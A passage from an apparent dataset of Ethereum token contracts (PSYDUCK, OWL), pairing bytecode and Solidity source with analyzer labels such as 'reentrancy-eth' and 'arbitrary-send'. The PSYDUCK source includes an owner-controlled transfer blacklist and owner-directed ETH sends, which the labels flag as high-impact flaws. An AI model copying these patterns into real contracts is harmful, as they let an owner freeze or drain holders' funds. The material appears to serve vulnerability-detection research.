0378152602001611e0360379139611bb8565b905060008463ffffffff161180156119d7575073ffffffffffffffffffffffffffffffffffffffff8516600090815260036020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8901811685529252909120548282169116145b15611a765773ffffffffffffffffffffffffffffffffffffffff851660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff880163ffffffff168452909152902080547fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff166401000000006bffffffffffffffffffffffff851602179055611b52565b60408051808201825263ffffffff80841682526bffffffffffffffffffffffff808616602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000818152600383528781208c871682528352878120965187549451909516640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff9587167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b604080516bffffffffffffffffffffffff808616825284166020820152815173ffffffffffffffffffffffffffffffffffffffff8816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b600081640100000000841061127c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611241578181015183820152602001611229565b60408051808201909152600080825260208201529056fe46696e616e63653a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777346696e616e63653a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f206164647265737346696e616e63653a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636546696e616e63653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636546696e616e63653a3a617070726f76653a20616d6f756e742065786365656473203936206269747346696e616e63653a3a64656c656761746542795369673a20696e76616c6964207369676e617475726546696e616e63653a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f206164647265737346696e616e63653a3a7472616e736665723a20616d6f756e742065786365656473203936206269747346696e616e63653a3a64656c656761746542795369673a207369676e6174757265206578706972656446696e616e63653a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747346696e616e63653a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e656446696e616e63653a3a64656c656761746542795369673a20696e76616c6964206e6f6e636546696e616e63653a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777346696e616e63653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a264697066735822122003dd3b6f50128bb133030fad0af4d2ac7107bcf6917c03e3e7e1c4561a9121a664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,810
0xfe65b9cf3ae2f4b9c6b9b5ff9b4a93d6802e2c7c
// SPDX-License-Identifier: UNLICENSED /* https://t.me/psyduckcaw https://psyduckcaw.com/ Quack Quack~ Psyduck Psyduck~~ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PSYDUCK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tfee; uint256 private _mfee; uint256 private _sellFee; uint256 private _buyFee; address payable private _feeAddress; string private constant _name = " Psyduck Caw"; string private constant _symbol = "PSYDUCK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingStarted; bool private inSwap = false; bool private swapEnable = false; bool private removeMaxTxn = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHeldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxHeldAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _buyFee = 10; _sellFee = 10; _feeAddress = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTxn(bool onoff) external onlyOwner() { removeMaxTxn = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _tfee = 0; _mfee = _buyFee; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHeldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tfee = 0; _mfee = _sellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnable) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; _maxHeldAmount = maxHeldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingStarted,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnable = true; removeMaxTxn = true; _maxTxAmount = 20000000 * 10**9; _maxHeldAmount = 20000000 * 10**9; tradingStarted = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() { if (sellFee <= 15 && buyFee <= 15) { _buyFee = buyFee; _sellFee = sellFee; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610340578063b515566a14610360578063c3c8cd8014610380578063c9567bf914610395578063dd62ed3e146103aa57600080fd5b8063715018a61461029e578063733ec069146102b35780638da5cb5b146102d357806395d89b41146102fb5780639e78fb4f1461032b57600080fd5b80632b51106a116100e75780632b51106a1461020d578063313ce5671461022d57806352f7c988146102495780636fc3eaec1461026957806370a082311461027e57600080fd5b806306fdde031461012f578063095ea7b31461017657806318160ddd146101a657806323b872dd146101cb578063273123b7146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600c81526b205073796475636b2043617760a01b60208201525b60405161016d919061191f565b60405180910390f35b34801561018257600080fd5b5061019661019136600461179d565b6103f0565b604051901515815260200161016d565b3480156101b257600080fd5b50670de0b6b3a76400005b60405190815260200161016d565b3480156101d757600080fd5b506101966101e636600461175c565b610407565b3480156101f757600080fd5b5061020b6102063660046116e9565b610470565b005b34801561021957600080fd5b5061020b610228366004611895565b6104c4565b34801561023957600080fd5b506040516009815260200161016d565b34801561025557600080fd5b5061020b6102643660046118cf565b61050c565b34801561027557600080fd5b5061020b61055c565b34801561028a57600080fd5b506101bd6102993660046116e9565b610593565b3480156102aa57600080fd5b5061020b6105b5565b3480156102bf57600080fd5b5061020b6102ce3660046118cf565b610629565b3480156102df57600080fd5b506000546040516001600160a01b03909116815260200161016d565b34801561030757600080fd5b506040805180820190915260078152665053594455434b60c81b6020820152610160565b34801561033757600080fd5b5061020b61066d565b34801561034c57600080fd5b5061019661035b36600461179d565b6108ac565b34801561036c57600080fd5b5061020b61037b3660046117c9565b6108b9565b34801561038c57600080fd5b5061020b61094b565b3480156103a157600080fd5b5061020b61098b565b3480156103b657600080fd5b506101bd6103c5366004611723565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fd338484610b56565b5060015b92915050565b6000610414848484610c7a565b610466843361046185604051806060016040528060288152602001611b0b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbd565b610b56565b5060019392505050565b6000546001600160a01b031633146104a35760405162461bcd60e51b815260040161049a90611974565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ee5760405162461bcd60e51b815260040161049a90611974565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161049a90611974565b600f81111580156105485750600f8211155b1561055857600c829055600b8190555b5050565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161049a90611974565b4761059081610ff7565b50565b6001600160a01b03811660009081526002602052604081205461040190611031565b6000546001600160a01b031633146105df5760405162461bcd60e51b815260040161049a90611974565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161049a90611974565b66470de4df82000082111561055857601091909155601155565b6000546001600160a01b031633146106975760405162461bcd60e51b815260040161049a90611974565b600f54600160a01b900460ff16156106f15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561075157600080fd5b505afa158015610765573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107899190611706565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d157600080fd5b505afa1580156107e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108099190611706565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085157600080fd5b505af1158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190611706565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103fd338484610c7a565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161049a90611974565b60005b81518110156105585760016006600084848151811061090757610907611abb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094381611a8a565b9150506108e6565b6000546001600160a01b031633146109755760405162461bcd60e51b815260040161049a90611974565b600061098030610593565b9050610590816110b5565b6000546001600160a01b031633146109b55760405162461bcd60e51b815260040161049a90611974565b600e546109d59030906001600160a01b0316670de0b6b3a7640000610b56565b600e546001600160a01b031663f305d71947306109f181610593565b600080610a066000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6957600080fd5b505af1158015610a7d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa291906118f1565b5050600f805466470de4df820000601081905560115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059091906118b2565b6001600160a01b038316610bb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049a565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049a565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049a565b60008111610da25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049a565b6001600160a01b03831660009081526006602052604090205460ff1615610dc857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fad576000600955600c54600a55600f546001600160a01b038481169116148015610e455750600e546001600160a01b03838116911614155b8015610e6a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7f5750600f54600160b81b900460ff165b15610eba576000610e8f83610593565b9050601054821115610ea057600080fd5b601154610ead838361123e565b1115610eb857600080fd5b505b600f546001600160a01b038381169116148015610ee55750600e546001600160a01b03848116911614155b8015610f0a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f1b576000600955600b54600a555b6000610f2630610593565b600f54909150600160a81b900460ff16158015610f515750600f546001600160a01b03858116911614155b8015610f665750600f54600160b01b900460ff165b15610fab576000610f78600483611a32565b9050610f848183611a73565b9150610f8f8161129d565b610f98826110b5565b478015610fa857610fa847610ff7565b50505b505b610fb88383836112d3565b505050565b60008184841115610fe15760405162461bcd60e51b815260040161049a919061191f565b506000610fee8486611a73565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610558573d6000803e3d6000fd5b60006007548211156110985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161049a565b60006110a26112de565b90506110ae8382611301565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fd576110fd611abb565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115157600080fd5b505afa158015611165573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111899190611706565b8160018151811061119c5761119c611abb565b6001600160a01b039283166020918202929092010152600e546111c29130911684610b56565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111fb9085906000908690309042906004016119a9565b600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124b8385611a1a565b9050838110156110ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049a565b600f805460ff60a81b1916600160a81b17905580156112c3576112c33061dead83610c7a565b50600f805460ff60a81b19169055565b610fb8838383611343565b60008060006112eb61143a565b90925090506112fa8282611301565b9250505090565b60006110ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061147a565b600080600080600080611355876114a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113879087611505565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b6908661123e565b6001600160a01b0389166000908152600260205260409020556113d881611547565b6113e28483611591565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006114558282611301565b82101561147157505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361149b5760405162461bcd60e51b815260040161049a919061191f565b506000610fee8486611a32565b60008060008060008060008060006114c58a600954600a546115b5565b92509250925060006114d56112de565b905060008060006114e88e87878761160a565b919e509c509a509598509396509194505050505091939550919395565b60006110ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbd565b60006115516112de565b9050600061155f838361165a565b3060009081526002602052604090205490915061157c908261123e565b30600090815260026020526040902055505050565b60075461159e9083611505565b6007556008546115ae908261123e565b6008555050565b60008080806115cf60646115c9898961165a565b90611301565b905060006115e260646115c98a8961165a565b905060006115fa826115f48b86611505565b90611505565b9992985090965090945050505050565b6000808080611619888661165a565b90506000611627888761165a565b90506000611635888861165a565b90506000611647826115f48686611505565b939b939a50919850919650505050505050565b60008261166957506000610401565b60006116758385611a54565b9050826116828583611a32565b146110ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049a565b80356116e481611ae7565b919050565b6000602082840312156116fb57600080fd5b81356110ae81611ae7565b60006020828403121561171857600080fd5b81516110ae81611ae7565b6000806040838503121561173657600080fd5b823561174181611ae7565b9150602083013561175181611ae7565b809150509250929050565b60008060006060848603121561177157600080fd5b833561177c81611ae7565b9250602084013561178c81611ae7565b929592945050506040919091013590565b600080604083850312156117b057600080fd5b82356117bb81611ae7565b946020939093013593505050565b600060208083850312156117dc57600080fd5b823567ffffffffffffffff808211156117f457600080fd5b818501915085601f83011261180857600080fd5b81358181111561181a5761181a611ad1565b8060051b604051601f19603f8301168101818110858211171561183f5761183f611ad1565b604052828152858101935084860182860187018a101561185e57600080fd5b600095505b8386101561188857611874816116d9565b855260019590950194938601938601611863565b5098975050505050505050565b6000602082840312156118a757600080fd5b81356110ae81611afc565b6000602082840312156118c457600080fd5b81516110ae81611afc565b600080604083850312156118e257600080fd5b50508035926020909101359150565b60008060006060848603121561190657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561194c57858101830151858201604001528201611930565b8181111561195e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f95784516001600160a01b0316835293830193918301916001016119d4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2d57611a2d611aa5565b500190565b600082611a4f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6e57611a6e611aa5565b500290565b600082821015611a8557611a85611aa5565b500390565b6000600019821415611a9e57611a9e611aa5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059057600080fd5b801515811461059057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a6cf4c37c9ccdc33aed686ba2a5ea723b482831a4d5907b799bead00792164b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,811
0x63f1b0250910559b6555dd06ecb1795a0b3db8fc
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** OWL https://t.me/owlPortal */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OwlToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "OWL";// string private constant _symbol = "OWL";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 11;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 11;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x5f34f7280a46294409928978904fB873Aa92Bb07);// address payable private _marketingAddress = payable(0x51ebE715D56FC072d0198EC692bF67E3e102b298);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; 